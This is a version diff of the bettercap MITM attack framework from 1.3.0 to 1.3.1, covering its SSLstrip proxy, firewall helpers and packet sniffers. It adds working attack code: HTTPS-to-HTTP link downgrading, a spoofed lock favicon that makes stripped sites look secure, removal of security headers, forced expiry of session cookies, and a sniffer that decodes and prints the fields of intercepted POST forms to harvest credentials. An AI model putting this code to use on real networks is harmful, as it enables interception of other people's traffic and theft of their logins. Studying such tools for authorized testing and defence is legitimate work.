bettercap 1.3.0 → 1.3.1

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 6670a29441233971065df36cbeb7acba16762072
4
- data.tar.gz: cc8daa2e7840ddc71b3d5925d114be71b219aba9
3
+ metadata.gz: f9801e0373d15f52908660dc7aed084d8f91950d
4
+ data.tar.gz: 50b9f0bc24a28b4b3c7529e5d5fbd65cc96f12c4
5
5
  SHA512:
6
- metadata.gz: 4a280f7c72b0ae33f3d82614657c927c1d24f11fb828df64e954f60021ed7a87c623ec939dc8715f542510d5268f2413325627d38e56a0c5831774aa90e95931
7
- data.tar.gz: 5cb2e4adada12bcb02a70b73a07477063423bc0ed9a96ec510de132a00b904152839a2cc8682f6c47b221425880c89d22874a4937c215ee06347b920047178fd
6
+ metadata.gz: d9c118a677a01f88be5ca3e064e32852912f97a9e8487bd820defc650a73d684d4a78c433e9a7f2bc56d13716c08c4a1eb776d1242ee34910783b3beb00de981
7
+ data.tar.gz: 59d4054d3ddda701f44967074ac6042d6bbbcbd72306cd9808c6069ebec613e3d43c0d93b98d0b43a437770215ecb20ec19357b920191054455bdc33ab13578f
@@ -71,11 +71,10 @@ begin
71
71
  rescue SystemExit, Interrupt
72
72
  BetterCap::Logger.raw "\n"
73
73
 
74
- rescue OptionParser::InvalidOption => e
75
- BetterCap::Logger.error e.message
76
-
77
- rescue OptionParser::AmbiguousOption => e
78
- BetterCap::Logger.error e.message
74
+ rescue OptionParser::InvalidOption,
75
+ OptionParser::AmbiguousOption,
76
+ OptionParser::MissingArgument => e
77
+ BetterCap::Logger.error "'#{e.message.capitalize}', verify your command line arguments executing 'bettercap --help'."
79
78
 
80
79
  rescue BetterCap::Error => e
81
80
  BetterCap::Logger.error e.message
@@ -20,6 +20,7 @@ require 'optparse'
20
20
  require 'colorize'
21
21
  require 'packetfu'
22
22
  require 'ipaddr'
23
+ require 'uri'
23
24
 
24
25
  Object.send :remove_const, :Config rescue nil
25
26
  Config = RbConfig
@@ -144,7 +144,11 @@ class Context
144
144
  original = response
145
145
 
146
146
  begin
147
- mod.on_request request, response
147
+ if response.nil?
148
+ mod.on_pre_request request
149
+ else
150
+ mod.on_request request, response
151
+ end
148
152
  rescue Exception => e
149
153
  Logger.warn "Error with proxy module: #{e.message}"
150
154
  response = original
@@ -16,27 +16,32 @@ module BetterCap
16
16
  module Firewalls
17
17
  # Linux firewall class.
18
18
  class Linux < Base
19
+
20
+ IPV4_PATH = "/proc/sys/net/ipv4"
21
+ IP_FORWARD_PATH = IPV4_PATH + "/ip_forward"
22
+ ICMP_BCAST_PATH = IPV4_PATH + "/icmp_echo_ignore_broadcasts"
23
+ SEND_REDIRECTS_PATH = IPV4_PATH + "/conf/all/send_redirects"
19
24
  # If +enabled+ is true will enable packet forwarding, otherwise it will
20
25
  # disable it.
21
26
  def enable_forwarding(enabled)
22
- Shell.execute("echo #{enabled ? 1 : 0} > /proc/sys/net/ipv4/ip_forward")
27
+ File.open(IP_FORWARD_PATH) { |f| f.puts "#{enabled ? 1 : 0}" }
23
28
  end
24
29
 
25
30
  # Return true if packet forwarding is currently enabled, otherwise false.
26
31
  def forwarding_enabled?
27
- Shell.execute('cat /proc/sys/net/ipv4/ip_forward').strip == '1'
32
+ File.open(IP_FORWARD_PATH) { |f| f.read.strip == '1' }
28
33
  end
29
34
 
30
35
  # If +enabled+ is true will enable packet icmp_echo_ignore_broadcasts, otherwise it will
31
36
  # disable it.
32
37
  def enable_icmp_bcast(enabled)
33
- Shell.execute("echo #{enabled ? 0 : 1} > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts")
38
+ File.open(ICMP_BCAST_PATH) { |f| f.puts "#{enabled ? 1 : 0}" }
34
39
  end
35
40
 
36
41
  # If +enabled+ is true will enable send_redirects, otherwise it will
37
42
  # disable it.
38
43
  def enable_send_redirects(enabled)
39
- Shell.execute("echo #{enabled ? 0 : 1} > /proc/sys/net/ipv4/conf/all/send_redirects")
44
+ File.open(SEND_REDIRECTS_PATH) { |f| f.puts "#{enabled ? 1 : 0}" }
40
45
  end
41
46
 
42
47
  # Apply the +r+ BetterCap::Firewalls::Redirection port redirection object.
@@ -520,8 +520,8 @@ class Options
520
520
 
521
521
  # Print the starting status message.
522
522
  def starting_message
523
- on = ''.green
524
- off = ''.red
523
+ on = 'on'.green
524
+ off = 'off'.red
525
525
  status = {
526
526
  'spoofing' => if has_spoofer? then on else off end,
527
527
  'discovery' => if !target.nil? or arpcache then off else on end,
@@ -18,6 +18,9 @@ class Module
18
18
  @@path = File.dirname(__FILE__) + '/modules/'
19
19
  @@modules = []
20
20
 
21
+ def on_pre_request( request ); end
22
+ def on_request( request, response ); end
23
+
21
24
  # Return a list of available builtin proxy module names.
22
25
  def self.available
23
26
  avail = []
@@ -133,7 +133,7 @@ class Proxy
133
133
  rescue Exception => e
134
134
  if request.host
135
135
  Logger.warn "Error while serving #{request.host}#{request.url}: #{e.inspect}"
136
- Logger.debug e.backtrace.join("\n")
136
+ Logger.warn e.backtrace.join("\n")
137
137
  end
138
138
  end
139
139
 
@@ -29,7 +29,7 @@ class Request
29
29
  # Content length.
30
30
  attr_reader :content_length
31
31
  # Request body.
32
- attr_reader :body
32
+ attr_accessor :body
33
33
  # Client address.
34
34
  attr_accessor :client
35
35
  # Client port.
@@ -72,6 +72,20 @@ class Request
72
72
  end
73
73
  end
74
74
 
75
+ # Return a Request object from a +raw+ string.
76
+ def self.parse(raw)
77
+ req = Request.new
78
+ lines = raw.split("\n")
79
+ lines.each_with_index do |line,i|
80
+ req << line
81
+ if line.chomp == ''
82
+ req.body = lines[i + 1..lines.size].join("\n")
83
+ break
84
+ end
85
+ end
86
+ req
87
+ end
88
+
75
89
  # Parse a single request line, patch it if needed and append it to #lines.
76
90
  def <<(line)
77
91
  line = line.chomp
@@ -128,6 +142,7 @@ class Request
128
142
  @lines.join("\n") + "\n" + ( @body || '' )
129
143
  end
130
144
 
145
+ # Return the full request URL trimming it at +max_length+ characters.
131
146
  def to_url(max_length = 50)
132
147
  schema = if port == 443 then 'https' else 'http' end
133
148
  url = "#{schema}://#{@host}#{@url}"
@@ -141,14 +156,27 @@ class Request
141
156
  end
142
157
 
143
158
  # If the header with +name+ is found, then a +value+ is assigned to it.
159
+ # If +value+ is null and the header is found, it will be removed.
144
160
  def []=(name, value)
161
+ found = false
145
162
  @lines.each_with_index do |line,i|
146
163
  if line =~ /^#{name}:\s*.+$/i
147
- @headers[name] = value
148
- @lines[i] = "#{name}: #{value}"
164
+ found = true
165
+ if value.nil?
166
+ @headers.delete(name)
167
+ @lines.delete_at(i)
168
+ else
169
+ @headers[name] = value
170
+ @lines[i] = "#{name}: #{value}"
171
+ end
149
172
  break
150
173
  end
151
174
  end
175
+
176
+ if !found and !value.nil?
177
+ @headers[name] = value
178
+ @lines << "#{name}: #{value}"
179
+ end
152
180
  end
153
181
  end
154
182
  end
@@ -31,6 +31,22 @@ class Response
31
31
  # Response body.
32
32
  attr_accessor :body
33
33
 
34
+ # Return a 200 response object reading the file +filename+ with the specified
35
+ # +content_type+.
36
+ def self.from_file( filename, content_type )
37
+ r = Response.new
38
+ data = File.read(filename)
39
+
40
+ r << "HTTP/1.1 200 OK"
41
+ r << "Connection: close"
42
+ r << "Content-Length: #{data.bytesize}"
43
+ r << "Content-Type: #{content_type}"
44
+ r << "\n"
45
+ r << data
46
+
47
+ r
48
+ end
49
+
34
50
  # Initialize this response object state.
35
51
  def initialize
36
52
  @content_type = nil
@@ -19,41 +19,99 @@ class Strip
19
19
  # Maximum number of redirects to detect a HTTPS redirect loop.
20
20
  MAX_REDIRECTS = 3
21
21
  # Regular expression used to parse HTTPS urls.
22
- HTTPS_URL_RE = /(https:\/\/[^"'\/]+)/i
22
+ HTTPS_URL_RE = /(https:\/\/[^"'\/]+)/i
23
23
 
24
24
  # Create an instance of this object.
25
25
  def initialize
26
26
  @urls = URLMonitor.new
27
27
  @cookies = CookieMonitor.new
28
+ @favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
28
29
  end
29
30
 
30
31
  # Check if the +request+ is a result of a stripped link/redirect and handle
31
32
  # cookies cleaning.
32
33
  # Return a response object or nil if the request must be performed.
33
34
  def preprocess( request )
35
+ process_headers!(request)
36
+ response = process_cookies!(request)
37
+ if response.nil?
38
+ process_stripped!(request)
39
+ response = spoof_favicon!(request)
40
+ end
41
+ response
42
+ end
43
+
44
+ # Process the +request+ and if it's a redirect to a HTTPS url patch the
45
+ # Location header and retry.
46
+ # Process the +response+ and replace every https link in its body with
47
+ # http counterparts.
48
+ def process( request, response )
49
+ # check for a redirect
50
+ if process_redirection!( request, response )
51
+ # retry the request
52
+ return true
53
+ end
54
+
55
+ process_body!( request, response )
56
+
57
+ # do not retry the request.
58
+ false
59
+ end
60
+
61
+ private
62
+
63
+ # Clean some headers from +request+.
64
+ def process_headers!(request)
65
+ request['Accept-Encoding'] = nil
66
+ request['If-None-Match'] = nil
67
+ request['If-Modified-Since'] = nil
68
+ request['Upgrade-Insecure-Requests'] = nil
69
+ request['Pragma'] = 'no-cache'
70
+ end
71
+
72
+ # If +request+ has unknown session cookies, create a client redirection
73
+ # to make them expire.
74
+ def process_cookies!(request)
75
+ response = nil
34
76
  # check for cookies.
35
77
  unless @cookies.is_clean?(request)
36
78
  Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending expired cookies for '#{request.host}'."
37
79
  expired = @cookies.get_expired_headers!(request)
38
80
 
39
- return build_expired_cookies( expired, request )
81
+ response = build_expired_cookies( expired, request )
40
82
  end
83
+ response
84
+ end
41
85
 
86
+ # If the +request+ is a result of a sslstripping operation,
87
+ # proxy it via SSL.
88
+ def process_stripped!(request)
42
89
  # check for stripped urls.
43
90
  link = @urls.normalize( request.host )
44
91
  if request.port == 80 and @urls.was_stripped?( request.client, link )
45
92
  Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{link}', proxying via SSL."
46
93
  request.port = 443
47
94
  end
95
+ end
48
96
 
97
+ # If +request+ is the favicon of a stripped host, send our spoofed lock icon.
98
+ def spoof_favicon!(request)
99
+ link = @urls.normalize( request.host )
100
+ if @urls.was_stripped?( request.client, link ) and is_favicon?(request)
101
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending spoofed favicon '#{request.to_url }'."
102
+ return @favicon
103
+ end
49
104
  nil
50
105
  end
51
106
 
52
- # Process the +request+ and if it's a redirect to a HTTPS url patch the
53
- # Location header and retry.
54
- # Process the +response+ and replace every https link in its body with
55
- # http counterparts.
56
- def process( request, response )
107
+ # Return true if +request+ is a favicon request.
108
+ def is_favicon?(request)
109
+ ( request.url.include?('.ico') or request.url.include?('favicon') )
110
+ end
111
+
112
+ # If the +response+ is a redirect to a HTTPS location, patch the +response+ and
113
+ # retry the +request+ via SSL.
114
+ def process_redirection!(request,response)
57
115
  # check for a redirect
58
116
  if response['Location'].start_with?('https://')
59
117
  link = @urls.normalize( response['Location'] )
@@ -68,17 +126,24 @@ class Strip
68
126
  # retry the request if possible
69
127
  return true
70
128
  end
129
+ false
130
+ end
71
131
 
132
+ # Process the +response+ body and strip out every HTTPS link.
133
+ def process_body!(request, response)
72
134
  # parse body
73
135
  links = []
74
- response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
75
- if link[0].include?('.')
76
- link = @urls.normalize( link[0] )
77
- downgraded = @urls.downgrade( link )
78
-
79
- links << [link, downgraded]
136
+ begin
137
+ response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
138
+ if link[0].include?('.')
139
+ link = @urls.normalize( link[0] )
140
+ downgraded = @urls.downgrade( link )
141
+
142
+ links << [link, downgraded]
143
+ end
80
144
  end
81
- end
145
+ # handle errors due to binary content
146
+ rescue; end
82
147
 
83
148
  unless links.empty?
84
149
  Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
@@ -89,13 +154,10 @@ class Strip
89
154
  response.body.gsub!( link, downgraded )
90
155
  end
91
156
  end
92
-
93
- # do not retry the request.
94
- false
95
157
  end
96
158
 
97
- private
98
-
159
+ # Return a 302 Redirect BetterCap::Proxy::Response object for the
160
+ # +request+, using +expired+ cookie headers to kill a client session.
99
161
  def build_expired_cookies( expired, request )
100
162
  resp = Response.new
101
163
 
@@ -47,6 +47,9 @@ class Streamer
47
47
  end
48
48
 
49
49
  if r.nil?
50
+ # call modules on_pre_request
51
+ @processor.call( request, nil )
52
+
50
53
  self.send( "do_#{request.verb}", request, response )
51
54
  else
52
55
  response = r
@@ -70,6 +73,7 @@ class Streamer
70
73
  end
71
74
  end
72
75
 
76
+ # call modules on_request
73
77
  @processor.call( request, response )
74
78
 
75
79
  client.write response.to_s
@@ -19,7 +19,25 @@ class Post < Base
19
19
  def on_packet( pkt )
20
20
  s = pkt.to_s
21
21
  if s =~ /POST\s+[^\s]+\s+HTTP.+/
22
- StreamLogger.log_raw( pkt, "POST\n", pkt.payload )
22
+ begin
23
+ req = BetterCap::Proxy::Request.parse(pkt.payload)
24
+ # the packet could be incomplete
25
+ unless req.body.nil? or req.body.empty?
26
+ msg = "\n[#{'HEADERS'.green}]\n\n"
27
+ req.headers.each do |name,value|
28
+ msg << " #{name.blue} : #{value.yellow}\n"
29
+ end
30
+ msg << "\n[#{'BODY'.green}]\n\n"
31
+
32
+ req.body.split('&').each do |v|
33
+ name, value = v.split('=')
34
+ msg << " #{name.blue} : #{URI.unescape(value).yellow}\n"
35
+ end
36
+
37
+ StreamLogger.log_raw( pkt, "POST", req.to_url(1000) )
38
+ Logger.raw "#{msg}\n"
39
+ end
40
+ rescue; end
23
41
  end
24
42
  end
25
43
  end
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
11
11
  =end
12
12
  module BetterCap
13
13
  # Current version of bettercap.
14
- VERSION = '1.3.0'
14
+ VERSION = '1.3.1'
15
15
  # Program banner.
16
16
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
17
17
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.3.0
4
+ version: 1.3.1
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-01-24 00:00:00.000000000 Z
11
+ date: 2016-01-26 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -29,6 +29,9 @@ dependencies:
29
29
  requirement: !ruby/object:Gem::Requirement
30
30
  requirements:
31
31
  - - "~>"
32
+ - !ruby/object:Gem::Version
33
+ version: '1.1'
34
+ - - ">="
32
35
  - !ruby/object:Gem::Version
33
36
  version: 1.1.10
34
37
  type: :runtime
@@ -36,6 +39,9 @@ dependencies:
36
39
  version_requirements: !ruby/object:Gem::Requirement
37
40
  requirements:
38
41
  - - "~>"
42
+ - !ruby/object:Gem::Version
43
+ version: '1.1'
44
+ - - ">="
39
45
  - !ruby/object:Gem::Version
40
46
  version: 1.1.10
41
47
  - !ruby/object:Gem::Dependency
@@ -80,7 +86,9 @@ dependencies:
80
86
  - - "~>"
81
87
  - !ruby/object:Gem::Version
82
88
  version: 0.8.0
83
- description: A complete, modular, portable and easily extensible MITM framework.
89
+ description: BetterCap is the state of the art, modular, portable and easily extensible
90
+ MITM framework featuring ARP and ICMP spoofing, sslstripping, credentials harvesting
91
+ and more.
84
92
  email: evilsocket@gmail.com
85
93
  executables:
86
94
  - bettercap
@@ -126,6 +134,7 @@ files:
126
134
  - lib/bettercap/proxy/request.rb
127
135
  - lib/bettercap/proxy/response.rb
128
136
  - lib/bettercap/proxy/sslstrip/cookiemonitor.rb
137
+ - lib/bettercap/proxy/sslstrip/lock.ico
129
138
  - lib/bettercap/proxy/sslstrip/strip.rb
130
139
  - lib/bettercap/proxy/sslstrip/urlmonitor.rb
131
140
  - lib/bettercap/proxy/stream_logger.rb
@@ -152,7 +161,7 @@ files:
152
161
  - lib/bettercap/version.rb
153
162
  homepage: http://github.com/evilsocket/bettercap
154
163
  licenses:
155
- - GPL3
164
+ - GPL-3.0
156
165
  metadata: {}
157
166
  post_install_message:
158
167
  rdoc_options: